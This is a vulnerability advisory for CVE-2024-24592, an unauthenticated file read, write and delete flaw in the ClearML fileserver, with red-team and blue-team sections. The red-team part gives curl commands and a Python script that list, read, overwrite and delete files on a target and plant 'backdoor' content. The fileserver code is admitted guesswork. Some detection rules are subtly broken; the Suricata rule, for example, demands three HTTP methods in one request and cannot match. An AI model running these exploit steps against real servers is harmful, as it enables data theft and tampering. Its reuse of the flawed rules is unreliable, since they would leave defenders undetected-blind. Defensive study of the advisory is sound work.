CVE-2024-24592

Executive Summary

CVE-2024-24592 is a critical vulnerability in Allegro AI’s ClearML platform, specifically in its fileserver component. The vulnerability allows a remote, unauthenticated attacker to arbitrarily access, create, modify, and delete files on the server. With a CVSS score of 9.8, this represents a severe risk to confidentiality, integrity, and availability. The lack of authentication in all versions of the fileserver component means that any exposed instance is immediately exploitable. No public proof-of-concept (PoC) or exploit code has been released, but the vulnerability is trivial to exploit due to the complete absence of access controls.

Supply Chain & Package Security

ClearML is a widely used open-source MLOps platform, often deployed in enterprise environments for managing machine learning experiments, models, and data. The fileserver component is a critical part of the infrastructure, handling storage and retrieval of artifacts. This vulnerability could allow an attacker to tamper with training data, models, or logs, leading to supply chain compromise if malicious artifacts are injected into the ML pipeline. Organizations using ClearML should treat this as a supply chain security incident and immediately isolate affected systems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full read access to all files.
• Integrity Impact: High (I:H) – Full write/delete access to all files.
• Availability Impact: High (A:H) – Can delete or corrupt files, causing denial of service.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete control over the fileserver. Given the lack of authentication, any exposed ClearML fileserver is at immediate risk.

Deep Dive & Mechanics

The ClearML fileserver component is designed to store and serve artifacts such as datasets, models, and logs. It typically listens on a configurable port (default 8081) and provides RESTful endpoints for file operations. The vulnerability stems from the absence of any authentication or authorization checks on these endpoints. An attacker can directly interact with the fileserver API without any credentials.

The fileserver likely uses HTTP methods such as GET, PUT, POST, DELETE to manage files. Without authentication, an attacker can:

• List directories: GET / or GET /path/to/directory
• Read files: GET /path/to/file
• Upload files: PUT /path/to/file with file content in the body
• Delete files: DELETE /path/to/file
• Overwrite files: PUT /path/to/existing/file

The vulnerability is present in all versions of ClearML, as the fileserver component has never implemented authentication. This is a design flaw, not a regression.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is the entire fileserver component. The fix would require implementing authentication (e.g., API keys, JWT tokens) and authorization checks on all file operations. Below is a conceptual example of what the vulnerable code might look like (pseudo-code) and what a patched version should include.

Vulnerable (pseudo-code):

from flask import Flask, request, send_file
import os

app = Flask(__name__)
BASE_DIR = "/data/files"

@app.route('/<path:filepath>', methods=['GET', 'PUT', 'DELETE'])
def handle_file(filepath):
    full_path = os.path.join(BASE_DIR, filepath)
    if request.method == 'GET':
        return send_file(full_path)
    elif request.method == 'PUT':
        data = request.data
        with open(full_path, 'wb') as f:
            f.write(data)
        return "OK", 200
    elif request.method == 'DELETE':
        os.remove(full_path)
        return "OK", 200

Patched (conceptual):

from flask import Flask, request, send_file, abort
import os

app = Flask(__name__)
BASE_DIR = "/data/files"
VALID_API_KEYS = {"key1", "key2"}  # Example

def authenticate():
    api_key = request.headers.get('X-API-Key')
    if api_key not in VALID_API_KEYS:
        abort(401)

@app.route('/<path:filepath>', methods=['GET', 'PUT', 'DELETE'])
def handle_file(filepath):
    authenticate()
    full_path = os.path.join(BASE_DIR, filepath)
    # Additional authorization checks (e.g., user-specific paths)
    if request.method == 'GET':
        return send_file(full_path)
    elif request.method == 'PUT':
        data = request.data
        with open(full_path, 'wb') as f:
            f.write(data)
        return "OK", 200
    elif request.method == 'DELETE':
        os.remove(full_path)
        return "OK", 200

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable ClearML instance (any version) in a controlled environment.
2. Ensure the fileserver component is exposed on a network port (e.g., 8081).
3. Use a tool like curl or a Python script to interact with the fileserver.

Exploitation Steps:

1. Discover the fileserver: Scan for open ports or use Shodan dorks.
2. List files: curl http://target:8081/
3. Read a file: curl http://target:8081/path/to/sensitive/file
4. Upload a malicious file: curl -X PUT -d "malicious content" http://target:8081/path/to/newfile
5. Delete a file: curl -X DELETE http://target:8081/path/to/file
6. Overwrite a critical file: curl -X PUT -d "backdoor" http://target:8081/path/to/critical/file

Example Python exploit script:

import requests

target = "http://target:8081"

# List root directory
r = requests.get(target)
print("Directory listing:", r.text)

# Read a specific file
r = requests.get(f"{target}/config.yaml")
print("Config file:", r.text)

# Upload a malicious file
r = requests.put(f"{target}/malicious.txt", data="This is a test")
print("Upload status:", r.status_code)

# Delete a file
r = requests.delete(f"{target}/old_data.csv")
print("Delete status:", r.status_code)

Blue Team

Detection and Response:

1. Monitor network traffic: Look for unusual HTTP requests to the fileserver port (default 8081) from unknown IPs.
2. Check logs: The fileserver may log requests. Look for patterns of GET, PUT, DELETE requests without authentication headers.
3. Honeypot: Deploy a fake fileserver endpoint to detect scanning activity.
4. File integrity monitoring: Use tools like Tripwire or AIDE to detect unauthorized file changes.
5. Immediate containment: If an instance is exposed, isolate it from the network and review all files for tampering.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to the fileserver port (e.g., 8081) without authentication headers.
  • Unusual PUT or DELETE requests to the fileserver.
  • Requests to list directories (e.g., GET /).
• File IOCs:
  • Unexpected new files in the fileserver storage directory.
  • Modified or deleted critical files (e.g., configuration files, models).
  • Files with suspicious content (e.g., scripts, backdoors).
• Log IOCs:
  • Log entries showing unauthenticated access to the fileserver.
  • Repeated failed authentication attempts (if any authentication is later added).

Detection Engineering

YARA Rule

rule CVE_2024_24592_ClearML_FileServer_Unauthenticated_Access {
    meta:
        description = "Detects unauthenticated access attempts to ClearML fileserver"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24592"
    strings:
        $http_get = "GET /"
        $http_put = "PUT /"
        $http_delete = "DELETE /"
        $no_auth = "Authorization:" nocase
    condition:
        any of ($http*) and not $no_auth
}

Sigma Rule

title: ClearML Fileserver Unauthenticated Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to ClearML fileserver without authentication
author: Valters IT
date: 2024/01/01
references:
    - CVE-2024-24592
logsource:
    category: webserver
    product: clearml
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'PUT'
            - 'DELETE'
        cs-uri-stem: '/*'
        cs-uri-query: ''
    filter:
        cs-headers: 'Authorization:*'
    condition: selection and not filter
falsepositives:
    - Legitimate unauthenticated access if authentication is disabled intentionally
level: critical

Suricata Rule

alert http any any -> any 8081 (msg:"CVE-2024-24592 ClearML Fileserver Unauthenticated Access"; flow:to_server; content:"GET /"; http_method; content:"PUT /"; http_method; content:"DELETE /"; http_method; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the fileserver: If the ClearML fileserver is exposed to the internet, immediately block access at the firewall or network level.
2. Implement authentication: Add an authentication layer (e.g., API keys, reverse proxy with basic auth) in front of the fileserver.
3. Restrict network access: Use a VPN or private network to limit access to trusted users only.
4. Monitor for exploitation: Review logs for any signs of unauthorized access.

Long-term Fix:

• The vendor (Allegro AI) must release a patched version that includes authentication and authorization. Until then, users must implement their own security controls.
• Consider using a web application firewall (WAF) to block unauthenticated requests.
• Regularly audit file integrity on the fileserver storage.

Workaround:

• Use a reverse proxy (e.g., Nginx) with basic authentication or client certificate authentication to protect the fileserver endpoint.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert